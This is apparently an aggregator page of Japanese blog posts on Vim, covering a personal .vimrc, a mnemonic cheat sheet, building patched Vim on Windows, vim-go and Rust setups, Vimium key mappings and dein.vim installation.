SunOSでエディタの存在を知り、るんるんLinuxを片手にSlackwareで遊び、気が付くとviだけで仕事をするようになってから20年以上経ちました。
set nuだけだった .vircはvim時代でどうなったか、(実際はもう何年も更新もしていませんが)備忘録かねて晒します。

.vimrc

.vimrc
set nu
set nowrap
set ts=4
set noai
set nocompatible
set enc=utf-8
set fencs=ucs-bom,utf-8,iso-2022-jp,enc-jp,cp932,utf-16le,utf-16,default,latin1
set mouse=a
set paste
set statusline=%<%f\ %m%r%h%w%{'['.(&fenc!=''?&fenc:&enc).']['.&ff.']'}%=%l,%c%V%8P
set fileformats=unix,dos,mac
set hlsearch
"8進数での加算にならないように
set nf=

"colorscheme desert
"colorscheme murphy
"colorscheme pablo
"colorscheme peachpuff
"colorscheme ron
"colorscheme zellner
"colorscheme koehler
colorscheme torte
"colorscheme elflord
"colorscheme darkblue
colorscheme delek

"set scrolloff=9999
"set noequalalways
"set lines=15
"set cursorline
"syntax on

" 終了時に端末表示色を再設定
au VimLeave * let saved_t_Co=&t_Co|let &t_Co=1|let &t_Co=saved_t_Co

" 日本語設定
let $LANG='ja_JP.UTF-8'

" クリップボードへインテントを使用してヤンク(コピー)
nnoremap <silent> gY :AndroidIntentText<CR>
vnoremap <silent> gY y:AndroidIntentText<CR>
command! -nargs=* -bang AndroidIntentText :call AndroidIntentText(<q-args>)
function! AndroidIntentText(text)
  let str = a:text != "" ? a:text : @"
  let str = iconv(str, &enc, "UTF-8")
  let str = escape(str, '`"$\')
  let cmd = printf('am start --user 0 -a android.intent.action.SEND -t text/plain --es android.intent.extra.TEXT "%s"', str)
  let ret = system(cmd)
endfunction

colorscheme 以降はandroid用で入れてたやつです。
エラーが出たら消してください^^

というわけで結局私に必要なのは10行程度だったようです。

ニーモニック(語呂)で覚える Vim コマンドチートシート

$
0
0

Vim の主要なコマンドのほとんどは,適当にキーが割り当てられているわけではなく,機能に合わせた単語に対応する文字が割り当てられている.そのためよく使う操作はニーモニックを覚えれば簡単に思い出せる.例えば

  • caw= change a word
  • dta = delete till 'a'
  • fa= find 'a'

など.

機能とコマンドの対応が分かりやすいチートシートを作ったので公開する.surround vim など,一部プラグインの利用を前提にしている部分もあるのでその点は注意.

vim-mnemonic-cheatsheet.png

こちらに PDF や編集可能なファイルも置いておくので自由に使ってください.

参考


Windowsで香り屋版パッチを当てた最新版Vimをビルドする

$
0
0

動機

これまで、香り屋さん提供の Vim / GVim バイナリを利用して Windows 上で快適な Vimライフを送ってきました。プログラミングをたしなむ者として、自分の使うソフトをソースからビルドしてみたいと思い、やってみることにしました。

本記事の要約

  • Windows 10 上に ビルド環境を整える。
  • GVim の最新版に、香り屋版パッチを当てる。
  • ビルドする。
  • DLL を用意する。 (まだできていません)
  • ファイルを配置する。 (まだできていません)

前提

  • Windows 10 がインストールされている。
    • Windows 7 SP1 以降なら同様の手順で可能であると思われます。
  • インターネット環境がある。
    • Git を使ってソースコードを取得したりします。

手順

Windows 10 上に ビルド環境を整える

まず、ビルド環境を整えます。私の環境はWindows 10 Pro ですが、Windows 10 Home や、Windows 8/8.1、Windows 7 でも同様に構築できると思われます。

  1. Visual Studio Community 2019 のダウンロード・インストール
  2. Git for Windows のダウンロード・インストール
  3. Vim 最新版ソースコードのダウンロード
  4. 香り屋版パッチのダウンロード

Visual Studio Community 2019 のダウンロード・インストール

Visual Studio Community 2019 リリース ノートのページから、Visual Studio Community 2019 のインストーラをダウンロードし、実行します。
「ワークロード」タブで、「C++ によるデスクトップ開発」にチェックを入れると、必要なファイル一式がインストールされます。

Git for Windows のダウンロード・インストール

Git のウェブサイト (https://git-scm.com/) から、Git for Windowsをダウンロードし、インストールします。

Vim 最新版ソースコードのダウンロード

Git Bash を起動します。Vim のソースコードを置くディレクトリに移動し、以下のコマンドを実行します。

$ git clone https://github.com/vim/vim.git

香り屋版パッチのダウンロード

続けて次のコマンドを実行し、香り屋版パッチをダウンロードします。

$ git clone https://github.com/koron/vim-kaoriya-patches.git

Vim の最新版に、香り屋版パッチを当てる

guilt (Git で動くパッチ管理ツール) が Git Bash で動かない(´・ω・`)

guilt を利用すると、パッチ内容が変わっても同様の手順で処理できるのですが、残念ながら、Git for Windows の Bash では "unsupported" と言われて処理ができません。ならば、手動で……とまでは行きませんが、半自動での処理を目指します。

Vim のブランチを切る

master ブランチでそのまま直接作業しても構いませんが、ソースコードに変更を加える作業ですので、ブランチを切っておいたほうがいいでしょう。

$ git checkout -b with-patch

パッチファイルを微修正

2520-migemo_feature.diff が、2019/06/14 現在の最新版では、そのままパッチが通らないため、微修正します。
最終行と、その1行前のコメントブロックを、1行コメントのスタイルに変更します。

git apply を実行

guilt が Git Bash でも使えるようになったら、この手順は変わります。
python2-warn.diff はエラーが出て通りませんので、リネームするなどして、適用除外としておきます。 (ガッツリ修正するのが面倒で、実行に影響が出ないっぽいので……)

$ git apply ../vim-kaoriya-patches/master/*.diff

ex_cmdidxs.h を更新

私もまだ勉強中なのですが、新しい Ex コマンドを追加すると、表題のヘッダファイルを更新する必要があるみたいです。そのための Vim script が用意されています。

……えーと、Vim を作るのに Vim が必要……?どういうことなのか、詳しい方、ご教示ください。でも必要だというのなら、 Git Bash 付属の Vim を使うことにします。

$ vim -u NONE -i NONE -X -S create_cmdidxs.vim

ビルド

vim-jp のサイトの説明 (https://vim-jp.org/docs/build_windows_msvc.html) を参考に、プログラムのコンパイル (ビルド) を行います。

DLL を用意する

いろいろ調べていて、ここが一番難しいということに気付きました。 migemo.dll は、バイナリが提供されていますので、ダウンロードしてくれば大丈夫なのですが、残る 3つは基本的にソースコードによる提供となっていました。どうすれば、ソースコードをコンパイルして、DLL を用意できるか、勉強してきます。

  • iconv.dll
  • winpty.dll
  • intl.dll
  • migemo.dll

現時点では、Vim の香り屋版バイナリをダウンロードして、それに添付されている DLL を用いるのが一番早いかもしれません。

ファイルを配置する

感想

自分でビルドするって、とても大変です……Vimの開発に参加されている皆様、Windows向けバイナリを用意してくださるKoRoN様、ありがとうございます。プロジェクトに貢献できるように、腕を磨きます。

vim-goを使ってみた

$
0
0

GoをVimで書こうとした時には、プラグインを入れたくなります。
Vimのプラグインであるvim-goである程度困らない環境を構築していきます。

前提環境

elementsversion
go versiongo1.12.6 darwin/amd64
OSMacOS Mojave 10.14.5
VimVIM - Vi IMproved 8.1

GOPATHなどは通しておいてください。

とりあえずインストール

vim-goをインストールします。
NeoBundleVundle、vim scriptでインストールしても良いですが、
ここではvim-goのレポジトリに書いてある手順でインストールしていきます。

と言っても、git cloneするだけです。

$ git clone https://github.com/fatih/vim-go.git ~/.vim/pack/plugins/start/vim-go

vimを再起動して、:GoPathなどのコマンドが使えれば完了です。

エラーの対応

goplsが見つからない

Vimを再起動し、.goのファイルを開くと、次のようなエラーが出ました。

vim-go: could not find 'gopls'. Run :GoInstallBinaries to fix it
Errorr detected while processing function <SNR>36_register[5]..go#lsp#DidOpen

対応

素直に:GoInstallBinariesを実行します。
一部のツール(gurugoimportsなど)が既にインストールされている場合は:GoUpdateBinariesも実行します。

tools/cmd/goplsがダウンロードできない

どうして。

対応

色々と調べてみると、どうやら元々入っていたGoのバージョンが果てしなく古かったためでした。12.6ではダウンロードできました。
最新のバージョンを使いましょう。

Features that rely on gopls will not work correctly outside of GOPATH or a module

なんじゃこりゃ。

対応

今だに原因究明できていませんが、go listコマンドが失敗するとこのようなエラーが出る場合があるそうです。

重要なエラーではなさそうなので、握りつぶしておきます。

let g:go_null_module_warning = 0

テンプレートを消したい

なにも設定していないと新しいGoファイルを作成した時にテンプレートが吐き出されるが正直なくていいなと感じました。

packagemainimport"fmt"funcmain(){fmt.Println("vim-go")}

対応

以下のコマンドで消せます。

let g:go_template_autocreate = 0

保存が遅すぎる

対応

vim-go: initialize goplsと表示される場合はgoplsが初期化する時に時間がかかっている場合があります。
一度、GoUpdateBinaries goplsで直接アップデートして再度保存を試みてください。

そうでない場合は、goimports(パッケージのimportの削除や追加をよしなにやってくれるツール)やgofmt(フォーマットしてくれるツール)の影響やsyntastic(保存時にLintとかやってくれるツール)の影響が大きいことが考えられます。

次のコマンドで、設定を変更します。

let g:go_fmt_command = "gofmt"
let g:syntastic_go_checkers = ['golint', 'govet', 'errcheck']

おわりに

快適なGoライフを!!

参考

Rust+Windows10+vimの開発環境構築備忘録

$
0
0

概要

Rustの開発をしたくて環境構築した時の備忘録です。vimのインストールは省略します。

VisualStudioをインストール

後ほどインストールするrustupにはC++コンパイラが必要です。VisualStudioをインストールするときに「C++デスクトップ開発」にチェックを入れればC++コンパイラもインストールされる。
https://visualstudio.microsoft.com/ja/downloads/

rustupのインストール

RustにはrustupというCLIのインストーラがある。rustに関するツールやライブラリがrustupからインストールできる。
https://rustup.rs/

rlsのインストールし、vimのプラグインを入れる

vimからlanguage serverを利用するプラグインvim-lspを追加します。
Rustのlanguage serverであるrlsをインストールします。
https://github.com/prabirshrestha/vim-lsp
https://github.com/prabirshrestha/vim-lsp/wiki/Servers-Rust

vimにrust用プラグインを追加

https://github.com/rust-lang/rust.vim

Vimにコードチェックプラグインを追加

https://github.com/w0rp/ale

vimrcの設定

rustでlspを使うように設定
<C-x><C-o>でlspの補完ができるように設定

  if executable('rls')
    au User lsp_setup call lsp#register_server({
      \ 'name': 'rls',
      \ 'cmd': {server_info->['rustup', 'run', 'stable', 'rls']},
      \ 'workspace_config': {'rust': {'clippy_preference': 'on'}},
      \ 'whitelist': ['rust'],
      \ })
    autocmd FileType rust setlocal omnifunc=lsp#complete
  endif

VimにALEを追加

コードチェッカーであるALEを追加します。
https://github.com/w0rp/ale

エンジニアならブラウザもキーボードで操作したくない?

$
0
0

vimのキーバインドでブラウザも操作できたらいいのに!
そんなワガママを実現しれくれるChromeの拡張機能があります。

もうトラックパッドなんていらないかも???

Vimium で Chrome をキーボード操作しよう

Chrome拡張機能のVimiumを使えばvimのキーバインドでChromeを操作することができます。要するにjでスクロールダウンできたりします。便利すぎる!
e793dcd4a7903c1825486c232424a554.gif

そんなVimiumを使ってみましょう。

① 拡張機能をインストールしよう

↓ こちらからインストールできます。
Chrome拡張機能 - Vimium

② キーバンドを設定しよう

インストールができたらキーバインドを設定してカスタマイズしましょう。
右上のVimiumrロゴからOptionに飛び、Custom key mappingsに好みのキーバインドを記述します。

ちなみに私はこのようにキーバインドを設定しています。

CustomKeyMappings(コピペ用)
map :q removeTab
map , previousTab
map . nextTab
map i LinkHints.activateMode
map <C-f> scrollPageDown
map <C-u> scrollPageUp
map 1 goBack
map 2 goForward

↓ キーバインドで設定した操作

キー操作
:qタブを閉じる
,前のタブ
.次のタブ
iリンクに対応するキーの表示
Ctr + fページ送り
Ctr + uページ逆送り
1ブラウザバック(戻る)
2進む

② 基本操作をしてみよう

デフォルトであればf、上のキーバインドならiでページ内のリンクやテキストボックスへkeyを割り振ることができます。
85c2f3c68eb9328b7da85fcdbfe92e42.gif

この機能を使ってページ遷移やテキストボックスの移動をします。

その他の操作も基本的にvimと似ているので、vimmerであればすぐに操作に慣れることでしょう。
基本的なデフォルト操作は以下の通りです。

キー操作
j下 (ページダウン) 
k上 (ページアップ)
h
l
/検索
n次の検索候補へ
N前の検索候補へ
ggページ最上部へ
Gページ最下部へ

Vimiumで快適なブラウザ操作生活を...

私はVimiumを使い始めてより快適なChrome生活を送ることができてます。
VimiumとChromeのショートカットを駆使すればマウスやトラックパッドに頼る機会が減ります。これは素晴らしいことですね。

いずれはマウスキーを有効にして完全にキーボードでPCを操作する境地を目指したいと思います()
(でもやっぱりトラックパッドは便利です)

dein.vimを入れてみる

$
0
0

はじめに

NeoBundleよりdein.vimにした方がいいんじゃないかという噂を耳にしたので入れてみる
(作者が言ってるみたい)

早速入れる

dein.vimをcloneしてくる

$ mkdir-p ~/.vim/dein/repos/github.com/Shougo/dein.vim
$ git clone https://github.com/Shougo/dein.vim.git \
    ~/.vim/dein/repos/github.com/Shougo/dein.vim

.vimrcを修正

if&compatible
  set nocompatible
endifset runtimepath+=~/.vim/dein/repos/github.com/Shougo/dein.vimcall dein#begin(expand('~/.vim/dein'))call dein#add('Shougo/dein.vim')call dein#add('Shougo/vimproc.vim',{'build':'make'})call dein#add('Shougo/neocomplete.vim')call dein#add('Shougo/neomru.vim')call dein#add('Shougo/neosnippet')call dein#add('Shougo/unite.vim')call dein#end()if dein#check_install()call dein#install()endif

check_installって部分で、
pluginを追加したら自動でインストールしてくれるようにしてます。

参考

dein.vimを使ってみる

Viewing all 5720 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>